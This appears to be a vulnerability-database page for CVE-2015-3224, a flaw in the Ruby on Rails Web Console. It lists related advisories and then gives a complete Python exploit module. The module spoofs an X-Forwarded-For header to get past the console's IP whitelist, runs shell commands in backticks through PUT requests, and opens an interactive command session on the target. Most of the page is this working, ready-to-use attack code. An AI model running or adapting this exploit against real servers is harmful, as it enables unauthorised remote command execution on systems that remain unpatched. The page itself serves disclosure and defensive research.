Ruby on Rails Web Console - IP Bypass RCE (CVE-2015-3224)
| Reporter | Title | Published | Views | Family All 40 |
|---|---|---|---|---|
| Ruby on Rails 4.0.x / 4.1.x / 4.2.x (Web Console v2) - Whitelist Bypass Code Execution Exploit | 23 Mar 201700:00 | – | zdt | |
| Exploit for Improper Access Control in Rubyonrails Web_Console | 3 May 201807:41 | – | githubexploit | |
| Exploit for Improper Access Control in Rubyonrails Web_Console | 9 Jan 202616:49 | – | githubexploit | |
| CVE-2015-3224 | 16 Jun 201500:00 | – | circl | |
| Web Console Remote Code Execution Vulnerability | 26 Jun 201500:00 | – | cnvd | |
| CVE-2015-3224 | 26 Jul 201522:00 | – | cve | |
| CVE-2015-3224 | 26 Jul 201522:00 | – | cvelist | |
| rubygem-rails -- multiple vulnerabilities | 16 Jun 201500:00 | – | freebsd | |
| Ruby on Rails 4.0.x/4.1.x/4.2.x (Web Console v2) - Whitelist Bypass Code Execution (Metasploit) | 16 Jun 201500:00 | – | exploitdb | |
| [SECURITY] Fedora 22 Update: rubygem-web-console-2.1.3-1.fc22 | 30 Jun 201500:01 | – | fedora |
10
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Ruby on Rails Web Console IP whitelist bypass RCE (CVE-2015-3224) — opens execute session."""
import re
from urllib.parse import quote
from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler
class Module(Exploit, Http_client, Handler):
__info__ = {
'name': 'Ruby on Rails Web Console - IP Bypass RCE (CVE-2015-3224)',
'description': (
'Exploits CVE-2015-3224 by bypassing Web Console IP restrictions with '
'X-Forwarded-For: 0000::1 and evaluating backtick OS commands. Opens an '
'interactive execute session.'
),
'author': ['KittySploit Team'],
'cve': ['CVE-2015-3224'],
'platform': Platform.MULTI,
'payload': {'default': 'nopayload'},
'references': ['https://nvd.nist.gov/vuln/detail/CVE-2015-3224'],
'tags': ['rails', 'ruby', 'rce', 'web-console', 'unauth', 'cve-2015-3224'],
'agent': {
'risk': 'intrusive',
'effects': ['active_exploitation'],
'expected_requests': 2,
'reversible': False,
'approval_required': True,
'produces': ['exploit_paths', 'risk_signals'],
'cost': 1.5,
'noise': 0.5,
'value': 1.0,
'requires': {
'min_endpoints': 0, 'min_params': 0,
'tech_hints_any': [], 'tech_hints_all': [],
'specializations_any': [], 'risk_signals_any': [],
'auth_session': False, 'capabilities_any': [], 'capabilities_all': [],
'confidence_min': {}, 'confidence_min_any': {},
'endpoint_pattern_any': [], 'param_any': [], 'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [
{'capability': 'rce', 'from_detail': ''},
{'capability': 'shell', 'from_detail': ''},
],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': [
'post/shell/multi/gather/privesc_suggester',
'scanner/http/cve_2015_3224_detect',
],
},
},
}
_session_path = ''
def _open_console(self) -> str:
path = f'/{self.random_text(8)}'
r = self.http_request(
method='GET',
path=path,
headers={'X-Forwarded-For': '0000::1'},
allow_redirects=False,
)
if not r:
return ''
body = r.text or ''
m = re.search(r'data-(?:remote-path|mount-point)=["\']([^"\']+)["\']', body)
if not m:
return ''
mount = m.group(1)
if not mount.startswith('/'):
mount = '/' + mount
sess = re.search(r'data-session-id=["\']([^"\']+)["\']', body)
if sess:
mount = f'{mount}/repl_sessions/{sess.group(1)}'
self._session_path = mount
return mount
def execute(self, cmd: str) -> str:
mount = self._session_path or self._open_console()
if not mount:
return ''
safe = str(cmd).replace('`', '')
r = self.http_request(
method='PUT',
path=mount,
data='input=' + quote(f'`{safe}`', safe=''),
headers={
'X-Forwarded-For': '0000::1',
'X-Requested-With': 'XMLHttpRequest',
'Content-Type': 'application/x-www-form-urlencoded',
'Accept': 'application/vnd.web-console.v2',
},
allow_redirects=False,
)
if not r:
return ''
return r.text or ''
def check(self):
body = self.execute('id')
if re.search(r'uid=\d+', body or '', re.I):
return {
'vulnerable': True,
'reason': 'CVE-2015-3224 confirmed: id via Web Console',
'confidence': 'high',
}
return {
'vulnerable': False,
'reason': 'Web Console not reachable / not exploitable',
'confidence': 'medium',
}
def check_execute(self):
token = self.random_text(8)
return token in (self.execute(f'echo {token}') or '')
def run(self):
if not self.check_execute():
self.not_vulnerable()
return False
return self.handler_execute()
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
10 Aug 2026 06:19Current
6Medium risk
Vulners AI Score6
CVSS 24.3
EPSS0.44708